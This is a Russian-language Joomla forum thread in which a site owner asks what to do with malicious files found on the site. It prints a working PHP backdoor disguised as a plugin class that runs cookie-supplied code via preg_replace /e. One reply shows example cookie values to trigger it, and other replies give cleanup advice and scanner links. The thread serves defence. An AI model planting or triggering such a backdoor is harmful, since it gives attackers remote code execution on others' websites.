нашла вирусы, что с ними делать? - Безопасность сайтов на Joomla

2 файла:

administrator/components/weklz.php


<?php
class PluginJoomla {
 public function __construct() {
  $jq = @$_COOKIE['41bjGEDj3'];
  if ($jq) {
   $option = $jq(@$_COOKIE['41bjGEDj2']);
   $au=$jq(@$_COOKIE['41bjGEDj1']);
   $option("/438/e",$au,438);
  } else {
   phpinfo();die;
  }
 }
}
$content = new PluginJoomla;

Что можно с ними сделать? удалить? закомментировать?

делайте что угодно, главное поймите, что это не решит вашу проблему. вам надо найти и устранить дыру через которую они к вам попали.

Вот второй файл насколько я поняла из статьи на хабре и есть шелл:

Дальше планирую удалить всякие модули типо обратной связи. Закрыть доступ в админку и доступ по ftp.

Дальше планирую удалить всякие модули типо обратной связи.

почему именно их?

почему именно их?

Видно что под горячую руку попалось или под женскую логику

///

Катеринка:вам стоило бы, как вам указали выше, понять, откуда это и возможно в шаблоне/расширении изначально было, а не заразили вас!

И может и дырка в коде или иная уязвимость.
А вы сразу, как хирурги-лижбы резать.

Вам чистить и обновлять сайт с расширениями надо.

Можно их на 5 минут в микроволновку и потом соусом чили полить - будет вкусно.

Вирусы - это программы, которые сами распространяются, а у вас тут просто кто-то ходит через заднюю дверь и "хозяйничает" с вашим сайтом.

2 файла:

administrator/components/weklz.php


<?php
class PluginJoomla {
 public function __construct() {
  $jq = @$_COOKIE['41bjGEDj3'];
  if ($jq) {
   $option = $jq(@$_COOKIE['41bjGEDj2']);
   $au=$jq(@$_COOKIE['41bjGEDj1']);
   $option("/438/e",$au,438);
  } else {
   phpinfo();die;
  }
 }
}
$content = new PluginJoomla;

Что можно с ними сделать? удалить? закомментировать?

в куках примерно так:

41bjGEDj3=assert; 41bjGEDj1=echo "ТУТ БЫЛ ВАСЯ";

для болие коректного кода в базе 64 засунте))

в куках примерно так:

мне почему то кажется что на вопрос

Что можно с ними сделать?

ожидался другой ответ 

Попробуйте
1. https://www.revisium.com/ai/
или
2. https://www.reg.ru/support/hosting-i-servery/servery-vps/reshenie-problem-raboty-vps/kak-proverit-server-na-nalichie-virusov
или
3. https://www.rsjoomla.com/joomla-extensions/joomla-security.html

ну а затем, после удаления всего лишнего, поменять все пароли на всё,
обновить всё на сайте до последних версий
и не пользоваться варезными расширениями :-)

или
3. https://www.rsjoomla.com/joomla-extensions/joomla-security.html

ну а затем, после удаления всего лишнего, поменять все пароли на всё,
обновить всё на сайте до последних версий
и не пользоваться варезными расширениями :-)

Крайне не рекомендую этот сервис

Крайне не рекомендую этот сервис

А что с ним не так?

А что с ним не так?

Если вы что то понимаете в природе уязвимостей, и имеете четкое представление к чему это ведет, то вот пост https://forum.antichat.ru/threads/50600/page-16#post-3923889